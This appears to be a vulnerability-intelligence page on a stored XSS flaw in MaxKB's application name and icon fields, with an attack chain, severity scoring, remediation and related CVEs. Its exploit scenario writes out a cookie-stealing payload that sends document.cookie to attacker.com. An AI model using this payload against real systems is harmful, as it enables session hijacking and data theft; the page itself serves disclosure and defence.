Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconAuthenticate as low-privileged user
-
DeliveryCreate application with malicious JavaScript in name field
-
ExploitShare public chat URL
-
InstallVictim visits chat link
-
C2Middleware renders unescaped payload
-
ExecuteJavaScript executes in victim context
-
ImpactSteal session tokens or redirect to phishing
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Impact | CVSS 6.9 (Medium-High) with vector showing network-accessible attack (AV:N), low complexity (AC:L), requiring low privilege (PR:L), and user interaction (UI:P), resulting in high integrity impact (VI:H). The CVSS score reflects realistic constraints: the attacker must be authenticated to create/modify applications, and the victim must click the chat link. However, real-world risk is substantial because: (1) the authentication requirement is likely low-barrier in collaborative environments where many users can create applications, (2) the public chat interface is designed to be shared and visited by users, making victim interaction probable, (3) stored XSS is persistent and affects all visitors indefinitely until remediated, and (4) integrity impact (VI:H) means session hijacking, credential theft, and malware distribution are feasible. No EPSS or KEV data provided; absence of public POC or active exploitation reports does not reduce risk significantly, as stored XSS in admin-accessible endpoints is well-understood and straightforward to exploit. This is a genuine priority for organizations running MaxKB in multi-user environments. |
| Exploit ScenarioDerived | An attacker with MaxKB user credentials creates a new application, inserting a payload like <img src=x onerror='fetch("https://attacker.com/steal?cookie="+document.cookie)'> into the application name field. When a colleague or customer clicks a public chat link for that application, their browser loads the chat interface, the middleware renders the unescaped application name in the HTML header, and the onerror handler fires, exfiltrating session cookies to the attacker's server. The attacker can then hijack the victim's session and access their data or escalate privileges. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Apr 14, 2026
Stored Cross-Site Scripting (XSS) in MaxKB 2.7.1 and below allows authenticated users to inject malicious JavaScript through application name or icon fields, which is then executed in victims' browsers when accessing the public chat interface. The vulnerability stems from unsanitized data insertion into HTML responses by ChatHeadersMiddleware, enabling arbitrary code execution with user interaction. MaxKB 2.8.0 has released a patch to fix this issue.
RemediationAI
Vendor-released patch: MaxKB 2.8.0. Upgrade immediately to version 2.8.0 or later from https://github.com/1Panel-dev/MaxKB/releases/tag/v2.8.0. For organizations unable to upgrade immediately, implement HTML escaping or Content Security Policy (CSP) headers to mitigate stored XSS risk, though these are temporary measures and patching is mandatory. Audit existing MaxKB instances for applications with suspicious names or icon URLs created by untrusted users and remove or sanitize them. Refer to the vendor security advisory at https://github.com/1Panel-dev/MaxKB/security/advisories/GHSA-wf7p-3jq5-q52w for detailed mitigation guidance.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
MaxKB is an open-source AI assistant framework that manages applications with public chat interfaces. The vulnerability exists in the ChatHeadersMiddleware component, which retrieves application metadata (name and icon fields) from storage and directly inserts them into HTML responses via string replacement without HTML escaping or sanitization. This represents a classic CWE-79 (Improper Neutralization of Input During Web Page Generation) issue where user-controlled input from application configuration is rendered as HTML without proper encoding. The attack surface includes the /ui/chat/{access_token} endpoint, a publicly accessible endpoint that dynamically loads application data. An authenticated attacker with application creation privileges can craft payloads containing JavaScript code (e.g., <script> tags, event handlers) in the application name or icon field; when any victim visits the chat interface, their browser executes this injected script in the context of the application domain.
Know when Maxkb gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
Primary rating from Vendor (GitHub_M) · only source for this CVE.
CVSS VectorVendor: GitHub_M
Lifecycle Timeline
4DescriptionCVE.org
MaxKB is an open-source AI assistant for enterprise. Versions 2.7.1 and below contain a Stored Cross-Site Scripting (XSS) vulnerability through the application name or icon fields when creating an application. When a victim visits the public chat interface (/ui/chat/{access_token}), the ChatHeadersMiddleware retrieves the application data and directly inserts the unescaped application name and icon into the HTML response via string replacement. This allows an attacker to execute arbitrary JavaScript in the victim's browser context. This issue has been fixed in version 2.8.0.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Related Vulnerabilities in MaxKB XSS Vulnerabilities
View all 3MaxKB prior to version 1.10.8-lts contains an incomplete sandbox implementation that only blacklists binary execution in
Command injection in MaxKB before 2.10.5-lts allows unauthenticated remote attackers to execute arbitrary shell commands
Sandbox escape and privilege escalation in MaxKB 2.3.1 and earlier allow an attacker who can submit or trigger custom Py
Server-side request forgery in MaxKB before 2.10.0 allows any authenticated user holding the default workspace USER role
Authenticated workspace members on MaxKB deployments prior to 2.10.5-lts can escalate to root-level command execution by
OS command injection in MaxKB (1Panel-dev's open-source enterprise AI assistant) before 2.10.0-lts lets an authenticated
Server-side request forgery in MaxKB (open-source AI assistant from 1Panel-dev) allows an authenticated user with permis
Privilege escalation in MaxKB 2.3.1 and earlier allows an authenticated, low-privileged user to overwrite the built-in d
Authentication bypass in MaxKB (1Panel-dev) versions prior to 2.9.0 allows remote unauthenticated attackers to invoke we
Cross-workspace read and modification of model parameter defaults in MaxKB 2.10.3-lts and earlier is possible for an aut
MaxKB versions 2.7.1 and below allow authenticated users with tool execution privileges to bypass the LD_PRELOAD-based s
MaxKB releases prior to 2.10.7-lts evaluate attacker-supplied JavaScript stored in a custom tool's Init Param definition
EUVD-2026-22182
NVD
CVE.org
EPSS
Vulnrichment
GitHub
Exploit-DB